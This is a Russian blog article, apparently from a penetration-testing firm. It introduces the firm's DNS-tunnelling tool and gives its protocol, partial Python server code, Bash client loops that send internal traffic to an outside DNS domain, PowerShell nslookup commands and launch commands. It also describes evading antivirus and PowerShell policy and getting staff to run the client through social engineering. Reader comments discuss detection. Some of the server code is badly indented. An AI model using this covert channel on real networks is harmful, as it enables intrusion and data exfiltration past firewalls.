Привет! В ходе проектов по тестированию на проникновение мы нередко сталкиваемся с жестко сегментированными сетями, практически полностью изолированными от внешнего мира. Порой, для решения данной проблемы требуется пробросить трафик через единственно доступный протокол — DNS. В этой статье мы расскажем, как решить подобную задачу в 2018 году и какие подводные камни встречаются в процессе. Также будут рассмотрены популярные утилиты и представлен релиз собственной open-source утилиты с возможностями, которых обычно так не хватает в существующих аналогичных инструментах.


Что такое DNS-туннели


На Хабре уже есть несколько статей, где объясняется, что такое DNS-туннелирование. Тем не менее, немного теории о DNS-туннелировании можно найти под спойлером.


Что такое DNS-туннелирование

Бывает, что доступ в сеть наглухо отрезан файрволом, а передавать данные нужно позарез, и тогда на помощь приходит техника DNS-туннелирования.


На схеме всё выглядит так:


Запросы к DNS даже при самых строгих настройках файерволла иногда все же проходят, и это можно использовать, отвечая на них со своего сервера, находящегося по ту сторону. Связь будет крайне медленной, но этого хватит для проникновения в локальную сеть организации или, например, для срочного выхода в Интернет по платному Wi-Fi за границей.


Что популярно на данный момент


Сейчас в Интернете можно найти множество утилит для эксплуатации этой техники — каждая со своими фичами и багами. Мы выбрали для сравнительного тестирования пять наиболее популярных:


  • dnscat2
  • iodine
  • dns2tcp
  • Heyoka
  • OzymanDNS

Подробнее о том, как мы их тестировали, можно почитать в нашей статье на Хакере. Тут же мы приведем только результаты.



Как видно из результатов, работать можно, но с точки зрения тестирований на проникновение есть недостатки:


  • компилируемые клиенты — на машинах с антивирусами гораздо проще запустить что-то интерпретируемое, чем бинарный файл;
  • нестабильная работа под Windows;
  • необходимость в установке дополнительного софта в некоторых случаях.

Из-за данных недостатков нам понадобилось разработать свой инструмент, и вот как это вышло...


Создаем свою утилиту для DNS-туннелирования


Предыстория


Всё началось во время внутреннего пентеста одного банка. В холле находился общедоступный компьютер, используемый для печати документов, справок и прочих бумаг. Наша цель: получить наибольшую выгоду от машины, которая была под управлением системы Windows 7, на борту имела “Антивирус Касперского” и разрешала заходить только на определенные страницы (но при этом была возможность резолва DNS имен).


Проведя первичный анализ и получив дополнительные данные из тачки, мы выработали несколько векторов атаки. Пути с эксплуатацией машины при помощи бинарных программ были сразу убраны в сторону, так как “великий и ужасный” “Касперский” при обнаружении исполняемого файла сразу же его тёр. Однако нам удалось получить возможность запускать скрипты от имени локального администратора, после чего одной из идей стала как раз возможность создания DNS-туннеля.


Поискав возможные способы, мы нашли клиент на PowerShell для dnscat2 (о нем мы писали ранее). Но в итоге максимум, что нам удавалось произвести, это установить соединение на небольшое время, после чего клиент падал.


Это нас, мягко говоря, сильно расстроило, так как в данной ситуации наличие интерпретируемого клиента было просто необходимо. Собственно, это и стало одной из причин разработки своего инструмента для DNS-туннелирования.


Требования


Главными требованиями к самим себе у нас стали:


  • наличие универсальных (насколько это возможно) и интерпретируемых клиентов для Unix и Windows систем. Для клиентов были выбраны языки bash и Powershell соответственно. В будущем планируется клиент на Perl для unix;
  • возможность проброса трафика от конкретного приложения;
  • поддержка нескольких клиентов для одного пользователя.

Архитектура проекта


Исходя из требований, мы приступили к разработке. В нашем представлении утилита состоит из 3 частей: клиент на внутренней машине, DNS-сервер и небольшой прокси между приложением пентестера и DNS-сервером.



Для начала мы решили пробросить туннель через TXT-записи.


Принцип работы довольно прост:


  • Пентестер запускает DNS-сервер.
  • Пентестер (или пользователь, через социальную инженерию) запускает клиента на внутренней машине. На клиенте присутствуют такие параметры, как имя клиента и домен, а также есть возможность прямого указания IP-адреса DNS-сервера.
  • Пентестер (из внешней сети) запускает прокси, где указывает IP-адрес DNS-сервера, а также порт, куда стучаться, IP-цели (например ssh во внутренней сети, где сидит клиент) и, соответственно, порт цели. Также необходим ID клиента, который можно получить, добавив ключ --clients.
  • Пентестер запускает интересующее его приложение, указывая порт прокси на localhost.

Протокол общения


Рассмотрим довольно простой протокол общения сервера с клиентом.


Регистрация


При запуске клиента, он регистрируется на сервере, запрашивая TXT-запись через поддомен следующего формата:


0<7 random chars><client name>.<your domain>


0 — ключ регистрации
<7 random chars> — для избежания кеширования записей DNS
<client name> — имя, заданное клиенту при запуске
<your domain> — ex.: xakep.ru
В случае успешной регистрации, клиент в TXT-ответе получает сообщение об успехе, а также присвоенный ему id, который он дальше будет использовать.


Основной цикл


После регистрации клиент начинает опрашивать сервер о наличии новых данных в формате


1<7 random chars><id>.<your domain>


В случае наличия новых данных, в TXT-ответе он получает их в формате


<id><target ip>:<target port>:<data in base64>, иначе, приходит <id>ND.


Цикл загрузки данных


Клиент в цикле проверяет, пришли ли данные от нашего <target>. В случае, если ответ есть, мы считываем, из того, что пришло, буфер размером N Кб, разбиваем его на блоки длинной 250-<len_of_your_domain>-<количество протокольных символов> и шлем данные поблочно в формате:
2<4randomchars><id><block_id>.<data>.<your_domain>


В случае успеха передачи блока получаем OK с некоторыми данными о переданном блоке, в случае завершения передачи буфера получаем ENDBLOCK.


DNS-сервер


DNS-сервер для туннелирования был написан на Python3 с использованием библиотеки dnslib, которая позволяет легко создать свой DNS-резолвер, унаследовавшись от объекта dnslib.ProxyResolver и переопределив метод resolve().


Великолепный dnslib позволяет создать свой ProxyDNS очень быстро:


Немножко кода сервера
class Resolver(ProxyResolver):

    def __init__(self, upstream):
        super().__init__(upstream, 53, 5) 

    def resolve(self, request, handler): 
        # волшебный метод
        domain_request = DOMAIN_REGEX.findall(str(request.q.qname))
        type_name = QTYPE[request.q.qtype]

        if not domain_request:
            # все DNS запросы, которые не относятся к туннелю, отправляем в другое место: например, в google
            return super().resolve(request, handler)

        # ТУТ КОД, который определяет переменную result

        reply = request.reply()
        reply.add_answer(RR(
          rname=DNSLabel(str(request.q.qname)),
          rtype=QTYPE.TXT,
          rdata=dns.TXT(wrap(result, 255)),   # делим ответ на части по 255 символов, если он большой, соблюдая стандарт
          ttl=300
        ))

        if reply.rr:
            return reply

        if __name__ == '__main__':
            port = int(os.getenv('PORT', 53))
            upstream = os.getenv('UPSTREAM', '8.8.8.8')  # куда отправляем запросы не для туннеля
            resolver = Resolver(upstream)
            udp_server = DNSServer(resolver, port=port)
            tcp_server = DNSServer(resolver, port=port, tcp=True)
            udp_server.start_thread()
            tcp_server.start_thread()
        try:
            while udp_server.isAlive():
            sleep(1)
        except KeyboardInterrupt:
            pass

В resolve() мы определим реакции на DNS-запросы со стороны клиента: регистрацию, запрос новых записей, обратную передачу данных и удаление пользователя.


Информацию о пользователях храним в базе данных SQLite, буфер обмена данными находится в оперативной памяти и имеет следующую структуру, в которой ключом является номер клиента:


{
  {
    "target_ip": "192.168.1.2",  # IP “жертвы” - куда форвардим запросы
    "target_port": "",  # Порт “жертвы”
    "socket": None,   # Сокет для обмена данными с пентестером
    "buffer": None,   # буфер получения данных от пентестера
    "upstream_buffer": b''  # буфер получения данных от клиента
   }, ...
}

Для помещения данных от пентестера в буфер мы написали небольшой “приемник”, который запущен в отдельном потоке. Он ловит соединения от пентестера и выполняет маршрутизацию: какому клиенту отправлять запросы.


Пользователю перед запуском сервера необходимо задать всего лишь один параметр: DOMAIN_NAME — имя домена, с которым будет работать сервер.


Клиент на Bash


Для написания клиента для Unix систем был выбран Bash, так как он чаще всего встречается в современных Unix системах. Bash предоставляет возможность установки соединения через /dev/tcp/, даже с правами непривилегированного пользователя.


Мы не будем подробно разбирать каждый кусок кода, взглянем только на наиболее интересные моменты.
Принцип работы клиента прост. Для общения с DNS используется стандартная утилита dig. Клиент регистрируется на сервере, после чего в вечном цикле начинает выполнять запросы по протоколу, описанному ранее. Под спойлером подробнее.


Подробнее о Bash клиенте

Идет проверка, было ли установлено соединение, и если да, то выполняется функция reply (чтение пришедших данных от target, разбиение и отправка на сервер).


После этого уточняется, есть ли новые данные от сервера. Если они обнаружены, то мы проверяем, нужно ли сбрасывать соединение. Сам разрыв происходит, когда нам приходит информация о target с ip 0.0.0.0 и портом 00. В этом случае мы очищаем файловый дескриптор (если он не был открыт, никаких проблем не возникнет) и меняем target ip на пришедший 0.0.0.0.


Далее по коду мы смотрим, есть ли необходимость установить новое соединение. Как только следующие сообщения начнут слать нам данные для target, мы, в случае, если прошлый ip не совпадает с текущим (после сброса так и будет), меняем target на новый, и устанавливаем соединение через команду exec 3<>/dev/tcp/$ip/$port, где $ip — target, $port — target port.
В итоге, если соединение уже установлено, то пришедший кусок данных декодится и летит в дескриптор через команду echo -e -n ${data_array[2]} | base64 -d >&3, где ${data_array[2]} — то, что мы получили от сервера.


while :
do
    if [[ $is_set = 'SET' ]]
        then
        reply
    fi

    data=$(get_data $id)

    if [[ ${data:0:2} = $id ]]
        then

        if [[ ${data:2:2} = 'ND' ]]
            then
            sleep 0.1
        else
            IFS=':' read -r -a data_array <<< $data
            data=${data_array[0]}
            is_id=${data:0:2}
            ip=${data:2}
            port=${data_array[1]}

            if [[ $is_id = $id ]]
                then

                if [[ $ip = '0.0.0.0'  &&  $port = '00' ]]
                    then
                    exec 3<&-
                    exec 3>&-
                    is_set='NOTSET'
                    echo "Connection OFF"
                    last_ip=$ip
                fi

                if [[ $last_ip != $ip  ]]
                    then
                    exec 3<>/dev/tcp/$ip/$port
                    is_set='SET'
                    echo "Connection ON"
                    last_ip=$ip
                fi

                if [[ $is_set = 'SET' ]]
                    then
                    echo -e -n ${data_array[2]} | base64 -d >&3
                fi

            fi
        fi
    fi
done

Теперь рассмотрим отправку в функции reply. Сначала мы считываем 2048 байт из дескриптора и сразу энкодим их через $(timeout 0.1 dd bs=2048 count=1 <&3 2> /dev/null | base64 -w0). Далее же, если ответ пустой, выходим из функции, иначе начинаем операцию по разбиению и отправке. Заметим, что после формирования запроса для отправки через dig, идет проверка успешности доставки. В случае успеха выходим из цикла, иначе пробуем, пока не получится.


reply() {

    response=$(timeout 0.1 dd bs=2048 count=1 <&3 2> /dev/null | base64 -w0)

    if [[ $response != '' ]]
        then
        debug_echo 'Got response from target server '
        response_len=${#response}
        number_of_blocks=$(( ${response_len} / ${MESSAGE_LEN}))

        if [[ $(($response_len % $MESSAGE_LEN)) = 0 ]]
            then
            number_of_blocks-=1
        fi

        debug_echo 'Sending message back...'
        point=0

        for ((i=$number_of_blocks;i>=0;i--))
        do
            blocks_data=${response:$point:$MESSAGE_LEN}

            if [[ ${#blocks_data} -gt 63 ]]
                then
                localpoint=0

                while :
                do
                    block=${blocks_data:localpoint:63}

                    if [[ $block != '' ]]
                    then
                        dat+=$block.
                        localpoint=$((localpoint + 63))
                    else
                        break
                    fi

                done

                blocks_data=$dat
                dat=''
                point=$((point + MESSAGE_LEN))
            else
                blocks_data+=.
            fi

            while :
            do
                block=$(printf %03d $i)
                check_deliver=$(dig ${HOST} 2$(generate_random 4)$id$block.$blocks_data${DNS_DOMAIN} TXT | grep -oP '\"\K[^\"]+')

                if [[ $check_deliver = 'ENDBLOCK' ]]
                    then
                        debug_echo 'Message delivered!'
                        break
                fi

                IFS=':' read -r -a check_deliver_array <<< $check_deliver
                deliver_data=${check_deliver_array[0]}
                block_check=${deliver_data:2}

                if [[ ${check_deliver_array[1]} = 'OK' ]] && [[ $((10#${deliver_data:2})) = $i ]] && [[ ${deliver_data:0:2} = $id ]]
                then
                    break
                fi

            done
        done
    else
        debug_echo 'Empty message from target server, forward the next package '
    fi

}

Powershell клиент:


Так как нам была нужна полная интерпретируемость и работа на большинстве актуальных систем, основу клиента для Windows составляют стандартная утилита nslookup для связи через DNS и объект System.Net.Sockets.TcpClient для установления соединения во внутренней сети.


Работает все также очень просто. Каждая итерация цикла представляет собой вызов команды nslookup по протоколу, описанному ранее.


Например, для регистрации выполняем команду:
$text = &nslookup -q=TXT $act$seed$clientname$Dot$domain $server 2>$null
Если возникают ошибки, то мы их не показываем, отправляя в $null значения дескриптора ошибок.


nslookup возвращает нам подобный ответ:


После чего нам нужно вытянуть все строчки в кавычках, для чего проходимся по ним регуляркой:


$text = [regex]::Matches($text, '"(.*)"') | %{$_.groups[1].value} | %{$_ -replace '([ "\t]+)',$('') }


Теперь можно выполнять обработку полученных команд.
Каждый раз, когда меняется IP-адрес “жертвы”, выполняется создание TCP-клиента, устанавливается соединение и начинает выполняться передача данных. От DNS сервера информация base64-декодируется, и байты отправляются на жертву. Если “жертва” что-то ответила, то кодируем, делим на части и выполняем запросы nslookup согласно протоколу. Всё.
При нажатии Ctrl+C выполняется запрос на удаление клиента.


Proxy:


Прокси для пентестера представляет из себя небольшой прокси сервер на python3.



В параметрах нужно указать IP DNS-сервера, порт, куда коннектиться на сервере, опция --clients возвращает список зарегистрированных клиентов, --target - target ip, --target_port - target port, --client — id клиента, с которым мы будем работать (видно после исполнения --clients), --send_timeout — таймаут для отправки сообщений от приложения.


При запуске с параметром --clients, прокси посылает серверу запрос в формате \x00GETCLIENTS\n.
В случае, когда мы начинаем работу, при подключении посылаем сообщение в формате \x02RESET:client_id\n для сброса предыдущего подключения. После мы посылаем информацию о нашей цели: \x01client_id:ip:port:\n
Далее, при отправке сообщений к клиенту, мы отправляем байты в формате \x03data, а приложению пересылаем просто сырые байты.
Также прокси поддерживает режим SOCKS5.


Какие трудности могут возникнуть?


Как и в любом механизме, в утилите могут возникнуть сбои. Не будем забывать, что DNS-туннель — штука тонкая, и на его работу может влиять множество факторов, начиная от архитектуры сети, заканчивая качеством коннекта до вашего рабочего сервера.


В ходе тестирования нами изредка были замечены небольшие сбои. Например, при большой скорости печати, работая через ssh, стоит настроить параметр --send_timeout, так как иначе клиент начинает подвисать. Также иногда соединение может не устанавливаться с первого раза, но это легко лечится перезапуском прокси, так как при новом подключении прошлое соединение будет сброшено. Ещё встречались проблемы с резолвом доменов при работе с proxychains, однако это тоже поправимо, если указать дополнительный параметр для proxychains. Стоит заметить, что на данный момент утилита не контролирует появление лишних запросов от кеширующих DNS серверов, поэтому иногда может падать соединение, однако это опять же лечится способом, описанным выше.


Запуск


Настраиваем NS записи на домене:



Ждем, пока кэш обновится (до 5 часов обычно).


Запускаем сервер:
python3 ./server.py --domain oversec.ru


Запускаем клиент (Bash):
bash ./bash_client.sh -d oversec.ru -n TEST1


Запускаем клиент (Win):
PS:> ./ps_client.ps1 -domain oversec.ru -clientname TEST2


Посмотрим список подключенных клиентов:
python3 ./proxy.py --dns 138.197.178.150 --dns_port 9091 --clients


Запускаем прокси:
python3 ./proxy.py --dns 138.197.178.150 --dns_port 9091 --socks5 --localport 9090 --client 1


Тестируем:


После того, как сервер и хотя бы один клиент были запущены, мы можем обращаться к прокси, как будто это наша удаленная машина.
Попробуем смоделировать следующую ситуацию: пентестер хочет скачать файл с сервера из локальной сети организации, защищенной файерволом, при этом с помощью методов социальной инженерии он смог заставить запустить внутри сети DNS-клиент и узнать пароль SSH сервера.


Пентестер у себя на машине запускает прокси, указывая необходимого клиента и далее может делать подобные обращения, которые отправятся на клиент, а из клиента — в локальную сеть.
scp -P9090 -C root@localhost:/root/dnserver.py test.kek


Посмотрим, что получилось:



Слева вверху можно видеть DNS-запросы, которые приходят на сервер, справа сверху — трафик прокси, слева снизу — трафик с клиента, а снизу справа — наше приложение. Скорость получилась довольно приличная для DNS-туннеля: 4.9Кб/сек с использованием сжатия.


При запуске без сжатия, утилита показала скорость 1.8 kb/s:



Посмотрим внимательно на трафик DNS-сервера, для этого используем утилиту tcpdump.
tcpdump -i eth0 udp port 53



Видим, что все соответствует описанному протоколу: клиент постоянно опрашивает сервер, есть ли у него какие-то новые данные для этого клиента с помощью запросов вида 1c6Zx9Vi39.oversec.ru. Если данные есть, то сервер отвечает набором TXT-записей, а иначе %client_num%ND (39ND). Клиент передает информацию на сервер с помощью запросов вида 28sTx39003.MyNTYtZ2NtQG9wZW5zc2guY29tAAAAbGNoYWNoYTIwLXBvbHkxMzA1QG9wZW5zc.2guY29tLGFlczEyOC1jdHIsYWVzMTkyLWN0cixhZXMyNTYtY3RyLGFlczEyOC1n.Y21Ab3BlbnNzaC5jb20sYWVzMjU2LWdjbUBvcGVuc3NoLmNvbQAAANV1bWFjLTY.0LWV0bUBvcGVuc3NoLmNvbSx1bWFjLTEyOC1.oversec.ru.


На следующих видео вы можете наглядно рассмотреть работу утилиты в связке с meterpreter и в режиме SOCKS5.




Итог:


Давайте подведем небольшой итог. Какие особенности у данной разработки и почему мы советуем использовать ее?


  1. Интерпретируемые клиенты на Bash и Powershell: никаких EXE-шников и ELF-ов, которые бывает проблематично запустить.
  2. Стабильность соединения: в тестах наша утилита вела себя гораздо стабильнее, а если и случались какие-то баги, то можно было просто переподключиться, при этом клиент не падал, как в случае с dnscat2, например.
  3. Достаточно высокая скорость для DNS-туннеля: конечно, скорость не дотягивает до iodine, но там гораздо более низкоуровневое компилируемое решение.
  4. Не требуется прав администратора: клиент Bash работает без прав администратора железно, а Powershell-скрипты иногда запрещены политиками безопасности, но это довольно просто обходится.
  5. Есть режим socks5 прокси, что позволяет делать так curl -v --socks5 127.0.0.1:9011 https://ident.me или запускать nmap на всей внутренней сети.

Код утилиты размещен тут

Комментарии (6)


  1. Protos
    05.12.2018 04:44

    Привет! Спасибо, очень подробно и понятно. Power shell использовать мне кажется плохо, грамотный SOC/Blue-team выявят запуск новых скриптов и обход запрета, на ПК всяких критичных (АРМ КБР И т.п.) PS обычно вырезан вообще. Хотя и множество новых DNS запросов в одну сторону сразу выявит тоже


    1. migalin Автор
      05.12.2018 07:52

      Добрый день! Спасибо за фидбек! Мы пишем эту утилиту прежде всего по мере наших потребностей, и так получилось, что PS — единственное, на чем было возможно запустить клиента. Сейчас, например, мы столкнулись с ситуацией, когда кроме php ничего нет, поэтому в скором времени в репозиторий добавится и php-клиент.


      Что касается тактики обнаружения туннелей по количеству запросов в секунду, на практике такой поведенческий анализ обычно выключен. Ну, а если нет, то у нас предусмотрена возможность делать паузы между запросами.


    1. migalin Автор
      05.12.2018 07:53

      Ещё на тему обнаружения есть интересная статья от китайских коллег, они это делают с помощью подсчета частоты встречаемости биграмм в домене (A Bigram Based Real Time DNS Tunnel Detection Approach), что гораздо эффективнее подсчёта запросов, но такое пока никто не реализовал в продакшене.


  1. barracud4
    05.12.2018 15:16

    Спасибо за статью!

    Вы не сталкивались с проблемой передачей данных в base64 через DNS? Проблема бывает в том, что некоторые резолверы не всегда нормально передают кейз букв, в котором был запрошен домен. Например перемешивают строчные и заглавные буквы, www.example.com -> wWw.ExAMplE.Com. В таком случае вся кодировка base64 конечно же сломается.
    Проблема решается использованием zbase32, правда эта кодировка позволяет закодировать меньшее количество байт чем base64 в строке той же длины.
    Почему вы в своем случае используете base64?


    1. migalin Автор
      05.12.2018 16:54

      Здравствуйте! Да, мы знаем, что base64 — не идеальный вариант для передачи, поэтому со временем появится возможность выбрать кодировку передаваемых сообщений. Стали использовать base64 изначально, потому что в тех сетях, где нам нужно было прокинуть туннель, его пропускает; скорость выше, чем у base32, а также потому, что в случае с Bash считанные нулевые байты нам удалось корректно передать только через конвейер в base64 непосредственно.


  1. el_kornholio
    05.12.2018 18:17

    Хочется упомянуть еще SoftEther VPN, который может не только в обычный и https туннель, но и в DNS и ICMP оборачиваться умеет «из коробки».